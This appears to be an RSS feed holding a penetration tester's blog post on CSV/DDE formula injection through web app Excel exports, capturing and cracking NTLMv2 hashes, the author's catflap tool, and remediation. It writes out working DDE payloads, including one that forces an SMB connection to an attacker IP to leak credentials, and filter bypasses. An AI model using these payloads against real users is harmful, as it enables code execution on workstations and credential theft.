<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Explore Security &#187; DDE</title>
	<atom:link href="https://www.exploresecurity.com/tag/dde/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.exploresecurity.com</link>
	<description>IT security tools, techniques and commentary</description>
	<lastBuildDate>Wed, 15 Jun 2022 09:21:02 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.6.1</generator>
		<item>
		<title>From CSV to CMD to qwerty</title>
		<link>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/</link>
		<comments>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/#comments</comments>
		<pubDate>Tue, 19 Apr 2016 22:53:41 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[CSV]]></category>
		<category><![CDATA[DDE]]></category>
		<category><![CDATA[Excel]]></category>
		<category><![CDATA[XLS]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=415</guid>
		<description><![CDATA[The ongoing breach stories of targeted email campaigns harbouring malicious attachments made me think of writing up a summary of a presentation I gave at the amazing NCC Con held in Dublin in January this year. The talk was based on a pentesting war story that started off exploiting the old (but I believe often [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>The ongoing breach stories of targeted email campaigns harbouring malicious attachments made me think of writing up a summary of a presentation I gave at the amazing <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/january/ncc-con-europe-2016/">NCC Con</a> held in Dublin in January this year. The talk was based on a pentesting war story that started off exploiting the old (but I believe often overlooked) Dynamic Data Exchange (DDE) trick to go from an Excel export function in a web app to OS code running on users&#8217; workstations. From there, the story takes us on to domain creds via some NTLMv2 theory (without a pentest laptop), a bug in hashcat and a new script &#8220;catflap&#8221;.<span id="more-415"></span></p>
<p>[EDIT - for more of the <em>CSV</em> and <em>CMD</em> and less of the <em>qwerty</em>, take a look at this <a href="http://www.slideshare.net/exploresecurity/camsec-sept-2016-tricks-to-improve-web-app-excel-export-attacks">presentation</a> I did later in the year.]</p>
<h3>From CSV to CMD</h3>
<p>DDE is an old <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx">Microsoft technology</a> used to facilitate data transfer between applications, a form of Inter-Process Communication (IPC). The security risks in the context of web applications were, to my knowledge, first published <a href="http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/">here</a> by <a href="https://twitter.com/albinowax">James Kettle</a> (I would have sworn this technique was around before 2014 &#8211; how time flies).</p>
<p>A brief reminder then: imagine an export function in a web app, where some of the data in the cells comes from user input (so like persistent XSS it is stored and later reflected) e.g. consider an application that stores the following parameter value:</p>
<p><code><span style="font-size: 0.857143rem; line-height: 2;">=cmd|'/k ipconfig'!A0</span></code></p>
<p style="text-align: left;">On requesting an export, a CSV file is returned that includes this value in a field. When this file is opened, Excel knows that this DDE reference could be dangerous and issues a couple of warnings:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning1.png"><img class="aligncenter  wp-image-417" alt="warning1" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning1.png" width="410" height="194" /></a><a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning2.png"><img class="aligncenter size-full wp-image-416" alt="warning2" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning2.png" width="781" height="139" /></a>In this case, an eagle-eyed user might raise an eyebrow at CMD.EXE but, as the original article notes, if the user requested the Excel file and it came from a source they trust, why wouldn&#8217;t it be secure? And we know that users click through warnings anyway.</p>
<p style="text-align: left;">When <code>cmd /k ipconfig</code> runs, the /k persists the command window for a screenshot to use in the report <img src='https://www.exploresecurity.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> <a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/cmd-ipconfig.png"><img class="aligncenter size-full wp-image-420" alt="cmd-ipconfig" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/cmd-ipconfig.png" width="1437" height="455" /></a>In fact, without that persistence, the command seems to run in a minimised window and then of course exits, which is rather nice for our attacker. I should say that export to CSV seems to be cleaner from the attacker&#8217;s perspective than export to XLS or XLSX, which often requires extra action by the user to activate the payload such as clicking into the malicious cell, which isn&#8217;t desirable. All of this behaviour is subject to the version of Excel running and its configuration.</p>
<h3>From CMD to qwerty</h3>
<p>The war story concerned an <em>internal</em> application that was vulnerable to the DDE trick, and so I started playing around with payloads that would be more exciting than <code>ipconfig</code> or <code>calc</code>. Here&#8217;s a simple one:</p>
<p><code>cmd /c net use \\&lt;attacker_IP&gt;\c$</code></p>
<p>In this case the &#8220;attacker_IP&#8221; belonged to a locked-down workstation (no pentest laptops allowed) &#8211; but it did, curiously enough, have Wireshark installed. So here was the &#8220;net use&#8221; connection from the &#8220;victim&#8221; (which was in fact a machine I was using and thus I knew the username and password):<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/net-use.png"><img class="aligncenter size-full wp-image-421" alt="net-use" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/net-use.png" width="1189" height="303" /></a>Bear in mind this was an internal test: if the victim was using a vulnerable internet-facing website, their ISP would likely <em>[cough]</em> block the outgoing SMB connection.</p>
<p>I was dealing with NTLMv2 here: a quick <a href="http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats">reminder</a> showed that I needed to pull out the following for John:</p>
<p><strong><code>username:$<span style="color: green;">NETNTLMv2</span>$domain$challenge$HMAC-MD5$blob</code><br />
</strong><br />
What&#8217;s in <span style="color: green;"><strong>green</strong></span> is known at this point (&#8220;NETNTLMv2&#8243; is a constant). I could immediately fill in the domain and username fields as they&#8217;re given away in cleartext by the NTLMv2 exchange, helpfully pulled out in the (obfuscated) Packet List above (and anonymised below):</p>
<p><strong><code><span style="color: green;">smithjer</span>:$<span style="color: green;">NETNTLMv2</span>$<span style="color: green;">domain</span>$challenge$HMAC-MD5$blob<br />
</code></strong><br />
So what about the other bits? They all relate to the NTLM authentication, which is a challenge-handshake protocol:</p>
<p><b>1. Client &gt; Server (Type 1, negotiation)</b><br />
Features supported by the client and requested of the server<br />
<b>2. Server &gt; Client (Type 2, challenge)</b><br />
Features supported and agreed upon by the server + a challenge<br />
<b>3. Client &gt; Server (Type 3, authentication)</b><br />
More information about the client + response(s)</p>
<p>The essential difference between NTLM and NTLMv2 is how the response is calculated. NTLM uses MD4 and DES in a weak way which is well known (5 NULL bytes <em>yada yada yada</em>); NTLMv2 uses HMAC-MD5 based on more than just the password and challenge, which is where the &#8220;blob&#8221; comes in. So that&#8217;s covered off the &#8220;challenge&#8221;, &#8220;HMAC-MD5&#8243; and &#8220;blob&#8221; that&#8217;s missing from the John hash I&#8217;m having to build up from scratch. (Remember, I had no tools, otherwise <a href="https://github.com/SpiderLabs/Responder">Responder</a> would have made this easy.) Here&#8217;s the challenge:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/challenge.png"><img class="aligncenter size-full wp-image-422" alt="challenge" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/challenge.png" width="442" height="151" /></a>And here&#8217;s the HMAC-MD5 and blob (which is everything after the HMAC in the &#8220;NTLM Response tree&#8221;):<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/HMAC-blob.png"><img class="aligncenter size-full wp-image-423" alt="HMAC-blob" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/HMAC-blob.png" width="663" height="261" /></a><span style="line-height: 1.71429; font-size: 1rem;">To get the blob, you can copy the NTLM Response bytes from within Wireshark and remove the first 16 bytes (which is the HMAC). The blob is likely to start 0&#215;01010000&#8230;So we now have:</span></p>
<p><code><strong><span style="color: green;">smithjer</span>:$<span style="color: green;">NETNTLMv2</span>$<span style="color: green;">domain</span>$<span style="color: green;">36edff8376e59e18</span>$<span style="color: green;">4f68b56e9ce788d010f58b4f049b5c7f</span>$<span style="color: green;">0101000000000000295779de01bbd001b6f955bf062e...</span></strong><br />
</code><br />
That&#8217;s the hard part done, right? Wrong.</p>
<h3>Let&#8217;s get cracking</h3>
<p>Here was John&#8217;s response (bear in mind I knew the password), and, after duly modifying the hash format, hashcat wasn&#8217;t happy either:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-no-crack.png"><img class="aligncenter size-full wp-image-424" alt="hash-no-crack" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-no-crack.png" width="718" height="284" /></a><span style="line-height: 1.71429; font-size: 1rem;">Note the &#8220;skipping line&#8221; error. Turns out hashcat has a bug, which (I later found out) oclhashcat doesn&#8217;t suffer from. I experimented with it and </span><a style="line-height: 1.71429; font-size: 1rem;" href="https://github.com/hashcat/hashcat/issues/3">reported</a><span style="line-height: 1.71429; font-size: 1rem;"> it &#8211; hashcat has problems when the blob length is over 224 bytes. For some reason, it&#8217;s not been assigned a &#8220;bug&#8221; label but a &#8220;new feature&#8221; label. Anyway, back to John: remember the format on the cheatsheet was:</span></p>
<p><strong><code>username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob</code></strong></p>
<p>Turns out the hashcat format worked a treat, i.e.</p>
<p><code><strong>username::domain:challenge:HMAC-MD5:blob</strong></code></p>
<p>To be fair to pentestmonkey, &#8220;this sheet was originally based on john-1.7.8-jumbo-5. Changes in supported hashes or hash formats since then may not be reflected on this page&#8221;, and I was using a later version. Anyway, all&#8217;s well that ends well:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-cracked-john.png"><img class="aligncenter size-full wp-image-428" alt="hash-cracked-john" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-cracked-john.png" width="919" height="116" /></a></p>
<h3>catflap</h3>
<p>In order to look into the bug I found, I wrote a script (which I called <a href="https://github.com/exploresecurity/catflap"><em>catflap</em></a>) that serves two purposes:</p>
<ol>
<li>It extracts what hashcat needs from the NTLMv2 exchange in a Wireshark capture file.</li>
<li><span style="line-height: 1.71429; font-size: 1rem;">It allows you to produce a more realistic test case to check your NTLMv2 cracker is working properly. For this catflap will accept a normal hash format from a file as well as a capture file. catflap will recalculate the NTLMv2 response based on a password you supply. This means all the other variables (username, domain, challenge and, crucially, the blob) in the resulting test hash are exactly the same as the ones in your captured exchange, but in this test case you know the password. In this way you can ensure your cracking tool is working correctly, and acts as a better test than the standard hash examples out there, useful though they are. Of course, you could also play about with other inputs, which is what I did with the blob find the bug.</span></li>
</ol>
<p>Usage is simply:</p>
<p><code>catflap &lt;capture_file | hashcat_file&gt; [password]</code></p>
<p>The following shows catflap changing the HMAC response to set the password to &#8220;password&#8221;:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/catflap.png"><img class="aligncenter size-full wp-image-429" alt="catflap" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/catflap.png" width="962" height="400" /></a>You can then run that edited hash through your cracker of choice to ensure it spits out &#8220;password&#8221;. If not, something&#8217;s gone wrong. You can find catflap on <a href="https://github.com/exploresecurity/catflap">github</a>.</p>
<h3>Input validation and sanitisation</h3>
<p>Whenever I find an Excel export function in a web app, most of the time the DDE trick works because the characters used to launch the payload aren&#8217;t the usual suspects. It&#8217;s not a well-known attack vector, even among pentesters (or at least it&#8217;s been forgotten) so it&#8217;s worth remembering to check for this.</p>
<p>What about remediation? The <a href="https://web.archive.org/web/20160324063226/http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/"><em>original</em></a> article on this stated that &#8220;the best defence strategy we are aware of is prefixing cells that start with &#8216;=&#8217; with an apostrophe&#8221;. Last month this topic came up in a company-wide discussion at <a href="https://www.nccgroup.trust/">work</a>, and my colleague <a href="https://twitter.com/bones_codes">Cara Marie</a> noted that &#8216;+&#8217; and &#8216;-&#8217; could be used to launch a command too. Turns out (thanks to Michael Roberts, another NCC bod) that this had been lurking around for while, for example <a href="https://hackerone.com/reports/72785">here</a>). Michael added that you can also use &#8216;@&#8217; in the format:</p>
<p><code>@SUM(cmd|'/c calc'!A0)</code></p>
<p>as well as surrounding the payload with quotes such as:</p>
<p><code>"=cmd|'/c calc'!A0"</code>.</p>
<p>Over this last month the original article has been updated twice to reflect the same findings (except for the use of quotes). So, as far as I know, two independent groups came up with new bypasses for the original recommendation. The point here, then, is that the blacklist approach by itself often fails (which shouldn&#8217;t be news to anyone who&#8217;s done a re-test). We need to perform validation based on a whitelist of characters and syntax wherever possible. For example, if a field is a phone number, there should be no need for characters such as &#8216;=&#8217; and &#8216;@&#8217;. Starting off with &#8216;+&#8217; is reasonable (prefixing an international dialling code) but after that we shouldn&#8217;t see any non-numeric characters. We can also restrict the length of that field too. With these restrictions in place, we don&#8217;t even need to implement (and maintain) a blacklist.</p>
<h3>Red teaming</h3>
<p>The story of this article was set around a web application that allowed export but the DDE trick is valuable to red teams trying to get malicious attachments through email. The reason for this is that a DDE payload isn&#8217;t a macro and files that use it are often able to fly through perimeter content checks that would stop files with macros.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
